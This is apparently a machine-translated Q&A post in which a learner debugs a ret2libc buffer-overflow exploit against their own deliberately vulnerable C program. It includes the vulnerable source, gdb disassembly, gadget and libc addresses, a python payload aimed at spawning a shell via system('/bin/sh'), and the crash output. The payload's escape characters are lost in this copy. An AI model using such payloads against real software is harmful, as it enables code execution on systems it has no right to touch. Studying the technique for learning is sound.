C - 地址 0x0000000000000000 处的 ret2libc 段错误



我执行了ret2libc,但在0x0000000000000000中以段错误结束。易受攻击的标文是

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
char buf[10];
gets(buf);
printf("%sn",buf);
}
int main()
{
get();
printf("Donen");
return 1;
}

从 gdb 的反汇编是

(gdb) disass main
Dump of assembler code for function main:
0x000055555555516d <+0>:     push   rbp
0x000055555555516e <+1>:     mov    rbp,rsp
0x0000555555555171 <+4>:     mov    eax,0x0
0x0000555555555176 <+9>:     call   0x555555555145 <get>
0x000055555555517b <+14>:    lea    rdi,[rip+0xe82]        # 0x555555556004
0x0000555555555182 <+21>:    call   0x555555555030 <puts@plt>
0x0000555555555187 <+26>:    mov    eax,0x1
0x000055555555518c <+31>:    pop    rbp
0x000055555555518d <+32>:    ret    
End of assembler dump.
(gdb) disass get
Dump of assembler code for function get:
0x0000555555555145 <+0>:     push   rbp
0x0000555555555146 <+1>:     mov    rbp,rsp
0x0000555555555149 <+4>:     sub    rsp,0x10
0x000055555555514d <+8>:     lea    rax,[rbp-0xa]
0x0000555555555151 <+12>:    mov    rdi,rax
0x0000555555555154 <+15>:    mov    eax,0x0
0x0000555555555159 <+20>:    call   0x555555555040 <gets@plt>
0x000055555555515e <+25>:    lea    rax,[rbp-0xa]
0x0000555555555162 <+29>:    mov    rdi,rax
0x0000555555555165 <+32>:    call   0x555555555030 <puts@plt>
0x000055555555516a <+37>:    nop
0x000055555555516b <+38>:    leave  
0x000055555555516c <+39>:    ret    
End of assembler dump.

我使用雷达2找到位于0x7ffff7e1d7de的小工具pop rdi;ret/bin/sh位于0x7ffff7f7f1acsystem()位于0x7ffff7e3f8a0

(gdb) r < <(python -c 'print("x41"*10 + "x42"*8 + "xdexd7xe1xf7xffx7fx00x00" + "xacxf1xf7xf7xffx7fx00x00" + "xa0xf8xe3xf7xffx7fx00x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("x41"*10 + "x42"*8 + "xdexd7xe1xf7xffx7fx00x00" + "xacxf1xf7xf7xffx7fx00x00" + "xa0xf8xe3xf7xffx7fx00x00")')
Breakpoint 1, main () at exploit.c:12
12        get();
(gdb) c
Continuing.
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2964]
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()

寄存器是

(gdb) i r
rax            0x0                 0
rbx            0x0                 0
rcx            0x0                 0
rdx            0x0                 0
rsi            0x7fffffffde88      140737488346760
rdi            0x2                 2
rbp            0x4242424242424242  0x4242424242424242
rsp            0x7fffffffe1b8      0x7fffffffe1b8
r8             0x0                 0
r9             0x0                 0
r10            0x8                 8
r11            0x246               582
r12            0x555555555060      93824992235616
r13            0x7fffffffe280      140737488347776
r14            0x0                 0
r15            0x0                 0
rip            0x0                 0x0
eflags         0x10216             [ PF AF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0

我使用的是 64 位机器。该程序是使用gcc -ggdb -Wall -fno-stack-protector -o a exploit.c编译的。我也手动禁用了 aslr。 为什么它以段错误结束?

消息

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()

表示程序已跳转到地址 0(即%pc为 0(,这是一个无效地址。 这可能是由于在堆栈顶部的值为 0 时执行ret指令。

您还会看到消息

[Detaching after vfork from child process 2964]

这可能意味着正在调用system函数,但无论出于何种原因,它都没有执行您希望它执行的操作。

要调试这种事情,您需要使用si逗号(偶尔ni跳过调用(一次一条指令仔细地单步执行代码。

相关内容

  • 没有找到相关文章